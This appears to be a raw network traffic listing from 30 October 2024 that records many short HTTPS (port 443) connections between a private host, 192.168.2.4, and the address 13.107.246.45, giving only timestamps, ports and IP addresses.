Oct 30, 2024 20:14:25.735440969 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.735491037 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.735579014 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.735740900 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.735757113 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.818578005 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.818789005 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.818845987 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.818995953 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.819013119 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.819025040 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.819030046 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.821588993 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.821615934 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.821671963 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.821785927 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.821793079 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.842788935 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.843152046 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.843166113 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.843657970 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.843662977 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.844489098 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.844803095 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.844813108 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.845257044 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.845262051 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.972414970 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.972440004 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.972471952 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.972548008 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.972639084 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.972695112 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.972733021 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.972747087 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.972755909 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.972760916 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.972841024 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.972862005 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.972873926 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.972877979 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.975814104 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.975835085 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.975861073 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.975894928 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.975930929 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.975964069 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.976089001 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.976097107 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:25.976104975 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:25.976116896 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.465255976 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.504955053 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.514975071 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.514986038 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.515434027 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.515439987 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.595490932 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.598715067 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.598728895 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.602509975 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.602515936 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.640588999 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.640661955 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.640737057 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.642340899 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.642366886 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.642380953 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.642390013 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.658247948 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.658310890 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.658396006 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.658541918 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.658560991 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.709465027 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.714495897 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.714566946 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.714920044 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.714932919 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.733908892 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.734066010 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.734124899 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.743712902 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.743730068 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.743742943 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.743750095 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.748351097 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.755194902 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.755211115 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.755603075 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.755609989 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.776772976 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.776845932 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.776947021 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.777055979 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.777076960 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.840853930 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.840976000 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.841057062 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.841732979 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.841783047 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.841816902 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.841833115 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.859141111 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.859205961 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.859303951 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.859430075 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.859464884 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.887408972 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.887474060 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.887541056 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.887576103 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.887608051 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.887664080 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.887754917 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.887780905 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.887798071 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.887804985 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.889966011 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.890012026 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:26.890090942 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.890237093 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:26.890249014 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.413326025 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.413789988 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.413855076 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.414201975 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.414215088 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.543520927 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.543591022 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.543677092 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.543829918 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.543829918 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.543878078 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.543921947 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.546236038 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.546305895 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.546381950 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.546514988 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.546534061 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.606017113 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.606498957 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.606525898 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.607039928 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.607069016 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.674339056 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.674755096 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.674783945 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.675199986 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.675209999 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.738605022 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.738630056 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.738719940 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.738755941 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.738823891 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.738877058 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.738992929 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.738993883 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.739038944 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.739059925 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.741607904 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.741656065 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.741738081 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.741877079 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.741889954 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.812762976 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.812787056 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.812838078 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.812872887 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.812906027 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.813127995 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.813147068 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.813157082 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.813162088 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.815887928 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.815934896 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:27.816019058 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.816179991 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:27.816196918 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.296169043 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.296705008 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.296740055 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.297194958 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.297203064 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.434497118 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.434715033 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.434767962 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.434786081 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.434823990 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.434942961 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.434968948 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.434994936 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.435002089 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.437805891 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.437845945 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.437932014 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.438097954 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.438111067 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.485815048 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.486422062 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.486449957 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.486855030 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.486861944 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.560137987 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.560715914 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.560741901 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.561146975 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.561160088 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.619491100 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.619561911 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.619647026 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.619817972 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.619837999 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.619848967 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.619853973 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.622744083 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.622788906 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.622873068 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.623080015 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.623091936 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.693136930 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.693166971 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.693213940 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.693290949 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.693330050 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.693579912 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.693599939 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.693614960 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.693622112 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.696578979 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.696623087 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:28.696707964 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.696891069 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:28.696906090 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.170536041 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.203732014 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.203752995 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.204591990 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.204601049 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.330214024 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.330316067 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.330379009 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.357027054 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.411184072 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.418838978 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.418870926 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.418886900 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.418894053 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.426047087 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.426058054 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.426476002 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.426481009 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.434667110 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.434698105 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.434765100 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.435301065 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.435317993 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.436723948 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.442559004 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.442584991 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.444864988 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.444874048 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.553651094 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.553673983 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.553733110 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.553735018 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.553778887 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.555027962 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.555051088 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.555063009 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.555068970 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.557734966 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.557766914 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.557821035 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.558300018 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.558307886 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.574008942 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.574045897 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.574094057 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.574105024 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.574146986 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.575412989 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.575438023 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.580199003 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.580229044 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:29.580290079 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.580533981 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:29.580552101 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.178338051 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.178802967 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.178829908 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.179389954 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.179405928 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.302889109 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.303493023 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.303517103 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.303940058 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.303946018 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.313438892 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.313477993 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.313545942 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.313581944 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.313621998 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.314016104 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.314038038 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.314052105 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.314057112 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.317260027 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.317311049 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.317433119 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.317642927 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.317652941 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.320504904 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.320992947 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.321007013 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.321485996 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.321491957 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.434448004 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.435000896 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.435066938 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.435113907 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.435134888 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.435164928 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.435173035 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.437783957 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.437812090 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.437894106 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.438054085 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.438071012 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.461591005 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.461656094 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.461714029 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.461901903 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.461914062 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.461925030 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.461930990 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.464226961 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.464315891 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:30.464418888 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:30.464571953 CET	49928	443	192.168.2.4	13.107.246.45
